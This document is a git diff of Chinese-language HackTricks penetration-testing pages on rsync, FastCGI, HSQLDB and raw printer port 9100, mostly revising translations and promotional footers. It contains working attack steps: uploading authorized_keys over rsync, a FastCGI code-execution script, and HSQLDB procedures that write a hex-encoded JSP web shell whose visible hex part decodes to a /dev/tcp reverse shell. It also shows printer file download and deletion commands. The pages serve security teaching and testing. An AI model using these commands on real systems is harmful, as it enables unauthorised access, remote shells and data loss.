> **rsync** 是一种用于在计算机和外部硬盘驱动器之间以及跨网络计算机之间高效 [传输](https://en.wikipedia.org/wiki/File\_transfer) 和 [同步](https://en.wikipedia.org/wiki/File\_synchronization) [文件](https://en.wikipedia.org/wiki/Computer\_file) 的实用程序,通过比较文件的 [修改时间](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) 和大小来实现。[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) 它通常在 [类 Unix](https://en.wikipedia.org/wiki/Unix-like) [操作系统](https://en.wikipedia.org/wiki/Operating\_system) 上找到。rsync 算法是一种 [增量编码](https://en.wikipedia.org/wiki/Delta\_encoding) 类型,用于最小化网络使用。[Zlib](https://en.wikipedia.org/wiki/Zlib) 可用于额外的 [数据压缩](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) 并且可以使用 [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) 或 [stunnel](https://en.wikipedia.org/wiki/Stunnel) 来提供安全性。
|
||||
> **rsync** 是一个用于高效 [传输](https://en.wikipedia.org/wiki/File\_transfer) 和 [同步](https://en.wikipedia.org/wiki/File\_synchronization) [文件](https://en.wikipedia.org/wiki/Computer\_file) 的工具,能够在计算机与外部硬盘之间以及通过 [网络](https://en.wikipedia.org/wiki/Computer\_network) [计算机](https://en.wikipedia.org/wiki/Computer) 之间进行比较 [修改时间](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) 和文件大小。[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) 它通常出现在 [类 Unix](https://en.wikipedia.org/wiki/Unix-like) [操作系统](https://en.wikipedia.org/wiki/Operating\_system) 上。rsync 算法是一种 [增量编码](https://en.wikipedia.org/wiki/Delta\_encoding),用于最小化网络使用。 [Zlib](https://en.wikipedia.org/wiki/Zlib) 可用于额外的 [数据压缩](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) 并且可以使用 [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) 或 [stunnel](https://en.wikipedia.org/wiki/Stunnel) 来增强安全性。
|
||||
|
||||
**默认端口:** 873
|
||||
```
|
||||
|
@ -27,7 +28,7 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
## 枚举
|
||||
|
||||
### 横幅 & 手动通信
|
||||
### 横幅与手动通信
|
||||
```bash
|
||||
nc -vn 127.0.0.1 873
|
||||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||||
|
@ -51,7 +52,7 @@ raidroot
|
|||
```
|
||||
### **枚举共享文件夹**
|
||||
|
||||
**Rsync模块** 被识别为可能受密码保护的 **目录共享**。为了识别可用模块并检查它们是否需要密码,使用以下命令:
|
||||
**Rsync 模块**被视为可能**受密码保护的目录共享**。要识别可用模块并检查它们是否需要密码,可以使用以下命令:
|
||||
```bash
|
||||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/rsync/modules_list
|
||||
|
@ -59,13 +60,13 @@ msf> use auxiliary/scanner/rsync/modules_list
|
|||
# Example with IPv6 and alternate port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
请注意,某些共享可能不会出现在列表中,可能被隐藏。此外,访问某些共享可能会受到特定**凭据**限制,这会显示**"拒绝访问"**消息。
|
||||
请注意,某些共享可能不会出现在列表中,可能会隐藏它们。此外,访问某些共享可能会限制特定的 **credentials**,并显示 **"Access Denied"** 消息。
|
||||
|
||||
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||||
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||||
|
||||
### 手动使用 Rsync
|
||||
### 手动 Rsync 使用
|
||||
|
||||
在获取**模块列表**后,操作取决于是否需要身份验证。没有身份验证时,通过以下方式可以从共享文件夹**列出**和**复制**文件到本地目录:
|
||||
在获得 **module list** 后,操作取决于是否需要身份验证。无需身份验证时,可以通过以下方式 **listing** 和 **copying** 文件从共享文件夹到本地目录:
|
||||
```bash
|
||||
# Listing a shared folder
|
||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||
|
@ -73,14 +74,14 @@ rsync -av --list-only rsync://192.168.0.123/shared_name
|
|||
# Copying files from a shared folder
|
||||
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
这个过程**递归传输文件**,保留它们的属性和权限。
|
||||
这个过程**递归地传输文件**,保留它们的属性和权限。
|
||||
|
||||
使用**凭据**,可以按以下方式列出共享文件夹并下载文件,会出现密码提示:
|
||||
使用**凭据**,可以按如下方式列出和下载共享文件夹中的内容,此时将出现密码提示:
|
||||
```bash
|
||||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
要**上传内容**,比如一个用于访问的_**authorized_keys**_文件,请使用:
|
||||
要**上传内容**,例如用于访问的 _**authorized_keys**_ 文件,请使用:
|
||||
```bash
|
||||
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
||||
```
|
||||
|
@ -90,19 +91,22 @@ rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
|||
```bash
|
||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||
```
|
||||
## 参考资料
|
||||
在此文件中,_secrets file_ 参数可能指向一个包含 **用户名和密码** 的文件,用于 rsyncd 认证。
|
||||
|
||||
## 参考文献
|
||||
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
如果您想**了解什么是FastCGI**,请查看以下页面:
|
||||
如果你想要**了解什么是 FastCGI**,请查看以下页面:
|
||||
|
||||
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
|
||||
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
默认情况下,**FastCGI**在**端口** **9000**上运行,并且nmap无法识别。**通常**FastCGI只在**本地**监听。
|
||||
默认情况下,**FastCGI** 运行在 **9000** 端口,并且不被 nmap 识别。**通常** FastCGI 只监听 **localhost**。
|
||||
|
||||
# RCE
|
||||
|
||||
让FastCGI执行任意代码非常容易:
|
||||
让 FastCGI 执行任意代码是相当简单的:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
|
@ -45,19 +46,19 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
|
|||
cat $OUTPUT
|
||||
done
|
||||
```
|
||||
或者您也可以使用以下Python脚本:[https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||||
或者你也可以使用以下的python脚本: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** 是用Java编写的领先的SQL关系数据库系统。它提供了一个小型、快速的多线程和事务性数据库引擎,支持内存和基于磁盘的表,并支持嵌入式和服务器模式。
|
||||
**HSQLDB \([HyperSQL 数据库](http://hsqldb.org/)\)** 是领先的用 Java 编写的 SQL 关系数据库系统。它提供一个小型、快速的多线程和事务数据库引擎,支持内存和基于磁盘的表,并支持嵌入式和服务器模式。
|
||||
|
||||
**默认端口:** 9001
|
||||
```text
|
||||
|
@ -25,31 +26,31 @@
|
|||
|
||||
### 默认设置
|
||||
|
||||
请注意,默认情况下,此服务可能在内存中运行或绑定到本地主机。如果您找到了它,您可能已经利用了另一个服务,并且希望提升权限。
|
||||
请注意,默认情况下,此服务可能在内存中运行或绑定到本地主机。如果您找到了它,您可能已经利用了另一个服务并希望提升权限。
|
||||
|
||||
默认凭据通常为`sa`,密码为空。
|
||||
默认凭据通常是 `sa`,密码为空。
|
||||
|
||||
如果您已经利用了另一个服务,请搜索可能的凭据使用
|
||||
```text
|
||||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||||
```
|
||||
注意仔细记录数据库名称 - 您将需要它来连接。
|
||||
注意数据库名称 - 你需要它来连接。
|
||||
|
||||
# 信息收集
|
||||
|
||||
通过[下载 HSQLDB](https://sourceforge.net/projects/hsqldb/files/)并提取 `hsqldb/lib/hsqldb.jar` 来连接到数据库实例。使用 `java -jar hsqldb.jar` 运行 GUI 应用程序 \(eww\) 并使用发现的/弱凭据连接到实例。
|
||||
通过 [下载 HSQLDB](https://sourceforge.net/projects/hsqldb/files/) 并提取 `hsqldb/lib/hsqldb.jar` 来连接到数据库实例。使用 `java -jar hsqldb.jar` 运行 GUI 应用程序(呃)并使用发现的/弱的凭据连接到实例。
|
||||
|
||||
请注意,对于远程系统,连接 URL 将类似于:`jdbc:hsqldb:hsql://ip/DBNAME`。
|
||||
注意连接 URL 对于远程系统看起来像这样: `jdbc:hsqldb:hsql://ip/DBNAME`。
|
||||
|
||||
# 技巧
|
||||
|
||||
## Java 语言例程
|
||||
|
||||
我们可以使用 Java 语言例程从 HSQLDB 调用 Java 类的静态方法。请注意,被调用的类需要在应用程序的类路径中。
|
||||
我们可以通过 HSQLDB 使用 Java 语言例程调用 Java 类的静态方法。请注意,被调用的类需要在应用程序的类路径中。
|
||||
|
||||
JRT 可以是 `functions` 或 `procedures`。如果 Java 方法返回一个或多个与 SQL 兼容的原始变量,则可以通过 SQL 语句调用函数。它们使用 `VALUES` 语句调用。
|
||||
JRTs 可以是 `functions` 或 `procedures`。如果 Java 方法返回一个或多个 SQL 兼容的原始变量,则可以通过 SQL 语句调用函数。它们使用 `VALUES` 语句调用。
|
||||
|
||||
如果我们要调用的 Java 方法返回 void,则需要使用使用 `CALL` 语句调用的过程。
|
||||
如果我们想要调用的 Java 方法返回 void,则需要使用通过 `CALL` 语句调用的过程。
|
||||
|
||||
## 读取 Java 系统属性
|
||||
|
||||
|
@ -63,11 +64,11 @@ EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
|||
```text
|
||||
VALUES(getsystemproperty('user.name'))
|
||||
```
|
||||
您可以在[这里找到系统属性列表](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)。
|
||||
您可以在这里找到[系统属性列表](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)。
|
||||
|
||||
## 将内容写入文件
|
||||
## 写入文件内容
|
||||
|
||||
您可以使用位于JDK中的`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java小工具(自动加载到应用程序的类路径中)通过自定义过程将十六进制编码的项目写入磁盘。**请注意最大大小为1024字节**。
|
||||
您可以使用位于 JDK 中的 `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java 小工具(自动加载到应用程序的类路径中)通过自定义过程将十六进制编码的项目写入磁盘。**注意最大大小为 1024 字节**。
|
||||
|
||||
创建过程:
|
||||
```text
|
||||
|
@ -79,16 +80,17 @@ LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
|||
```text
|
||||
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
从[这里](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing):原始打印是我们定义为与网络打印机的9100/tcp端口建立连接的过程。这是CUPS和Windows打印架构用于与网络打印机通信的默认方法,因为它被认为是“_打印机使用的最简单、最快速且通常最可靠的网络协议_”。原始9100端口打印,也称为JetDirect、AppSocket或PDL数据流实际上**并不是一个独立的打印协议**。相反,**所有发送的数据都直接由打印设备处理**,就像通过TCP的并行连接一样。与LPD、IPP和SMB相比,这可以向客户端发送直接反馈,包括状态和错误消息。这样的**双向通道**使我们直接**访问**到**PJL**、**PostScript**或**PCL**命令的**结果**。因此,原始9100端口打印 - 几乎任何网络打印机都支持的通道,被用作使用PRET和PFT进行安全分析的通道。
|
||||
来自 [这里](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing):原始打印是我们定义的连接到网络打印机的 9100/tcp 端口的过程。它是 CUPS 和 Windows 打印架构与网络打印机通信的默认方法,因为它被认为是“_用于打印机的最简单、最快且通常是最可靠的网络协议_”。原始 9100 端口打印,也称为 JetDirect、AppSocket 或 PDL 数据流,实际上 **本身并不是一种打印协议**。相反,**所有发送的数据都由打印设备直接处理**,就像通过 TCP 的并行连接。与 LPD、IPP 和 SMB 相比,这可以向客户端发送直接反馈,包括状态和错误消息。这样的 **双向通道** 使我们能够直接 **访问** **PJL**、**PostScript** 或 **PCL** 命令的 **结果**。因此,原始 9100 端口打印——几乎所有网络打印机都支持——被用作与 PRET 和 PFT 进行安全分析的通道。
|
||||
|
||||
如果您想了解更多关于[**黑客打印机的信息,请阅读此页面**](http://hacking-printers.net/wiki/index.php/Main_Page)。
|
||||
如果您想了解更多关于 [**黑客打印机的信息,请阅读此页面**](http://hacking-printers.net/wiki/index.php/Main_Page)。
|
||||
|
||||
**默认端口:** 9100
|
||||
```
|
||||
|
@ -42,7 +43,7 @@ nc -vn <IP> 9100
|
|||
@PJL FSDOWNLOAD #Useful to download a file
|
||||
@PJL FSDELETE #Useful to delete a file
|
||||
```
|
||||
## 自动化
|
||||
## 自动
|
||||
```bash
|
||||
nmap -sV --script pjl-ready-message -p <PORT> <IP>
|
||||
```
|
||||
|
@ -59,7 +60,7 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
|||
```
|
||||
## 打印机黑客工具
|
||||
|
||||
这是您想要使用的滥用打印机的工具:
|
||||
这是您想要用来滥用打印机的工具:
|
||||
|
||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||
|
||||
|
@ -68,16 +69,17 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
|||
* `pjl port:9100`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
